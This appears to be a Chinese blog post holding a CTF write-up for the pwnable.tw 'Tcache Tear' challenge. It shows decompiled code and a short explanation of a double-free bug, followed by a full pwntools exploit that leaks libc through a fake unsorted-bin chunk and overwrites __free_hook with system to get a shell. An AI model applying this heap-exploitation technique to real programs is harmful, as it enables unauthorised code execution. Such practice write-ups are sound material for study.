美文网首页CTF Re&&Pwn
pwnable.tw_Tcache Tear

pwnable.tw_Tcache Tear

作者: Kirin_say | 来源:发表于2019-02-25 14:28 被阅读152次

Analyze:

main function:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  unsigned int v4; // [rsp+Ch] [rbp-4h]

  setbuf();
  printf("Name:", a2);
  read_note((__int64)&name, 0x20u);
  v4 = 0;
  while ( 1 )
  {
    while ( 1 )
    {
      menu();
      v3 = get_num();
      if ( v3 != 2 )
        break;
      if ( v4 <= 7 )                            // limit the time we free chunk
      {
        free(ptr);                              // double free
        ++v4;
      }
    }
    if ( v3 > 2 )
    {
      if ( v3 == 3 )
      {
        info();                                 // name
      }
      else
      {
        if ( v3 == 4 )
          exit(0);
LABEL_14:
        puts("Invalid choice");
      }
    }
    else
    {
      if ( v3 != 1 )
        goto LABEL_14;
      new();
    }
  }
}

可以看到:

指针free后未置零->存在double free
程序限制了free的次数,我们无法通过free多次chunk来构造unsorted chunk
不过程序没有开启地址随机化&&name处存在输出
可以在bss段name位置构造fake_chunk>0x408
而后delete fake_chunk 进入unsorted bin
此时name位置(fake_chunk->fd)就会写入libc addr(main_arena+96)
此时输出info便可leak libc addr
而后利用double free改写malloc/free hook,而后即可get shell
(EXP中注意delete次数)

EXP:

from pwn import *

def add(size,note):
    p.sendlineafter(":","1")
    p.sendlineafter(":",str(size))
    p.sendafter(":",note)

def delete():
    p.sendlineafter(":","2")



#context.log_level="debug"
#p=process("./tcache_tear",env = {'LD_PRELOAD' : './libc.so'})
p=remote("chall.pwnable.tw",10207)
libc=ELF("./libc.so")
p.sendlineafter("Name:","kirin")

#leak libc
add(0x70,"kirin\n")
delete()
delete()
add(0x70,p64(0x602550))
add(0x70,"kirin\n")
add(0x70,p64(0)+p64(0x21)+p64(0)*2+p64(0)+p64(0x21))
add(0x60,"kirin\n")
delete()
delete()
add(0x60,p64(0x602050))
add(0x60,"kirin\n")
add(0x60,p64(0)+p64(0x501)+p64(0)*5+p64(0x602060))
delete()
p.sendlineafter(":","3")
p.recvuntil("Name :")
libc_addr=u64(p.recv(8))-0x3ebca0
log.info(hex(libc_addr))

#write free_hook
free_hook=libc_addr+libc.symbols['__free_hook']
system_addr=libc_addr+libc.symbols['system']
add(0x40,"kirin\n")
delete()
delete()
add(0x40,p64(free_hook))
add(0x40,"kirin\n")
add(0x40,p64(system_addr))

#get_shell
add(0x18,"/bin/sh\x00")
delete()
p.interactive()

相关文章

  • pwnable.tw_Tcache Tear

    Analyze: main function: 可以看到: EXP:

  • Tear

    Tears are the fairies of your soulThey fly, they come,At ...

  • tear

    眼泪眼眶里打转着 打下这些文字的时候 连屏幕都模糊了 我就要眨一下眼 眼泪吧嗒的掉下来 眼前才又清晰了 我一直以为...

  • tear

    第一次听这首曲子,心里就有莫名的忧伤。 忍不住点一支烟,看烟雾缭绕,听细细碎碎的音符如同起起落落的心情...

  • Tear

    作词 :Monchichichi 冷艳的泪光 反射着哀伤 从眼角滑落的那一刻 已不再温暖 起初你也不曾相信 透明可...

  • TEAR

    这个星期眼泪总是情不自禁的下来了,是我太脆弱了吗?从老公不把车钥匙给我,不同意我一人开车,我就觉得很委屈,跟同事说...

  • NO TEAR

    文章写得好,听得入神。文末,一曲吕方的《朋友,别哭》,突然来袭,波涛汹涌,冲破堤岸。坐在公交车上,伸出手指在镜片与...

  • tear

    出生的时候不知为何有着欠缺不足处的我们 回过神不知什么时候已经倚在你的身边 要说出特别相关的根据虽然也没有任何可言...

  • 每日一词-10.19-leave

    The ending of that movie left countless audiences in tear...

  • 情不知所起,一往而深

    Love starts with a smile,grows by a kiss,end with a tear—...

网友评论

    本文标题:pwnable.tw_Tcache Tear

    本文链接:https://www.haomeiwen.com/subject/ycxgyqtx.html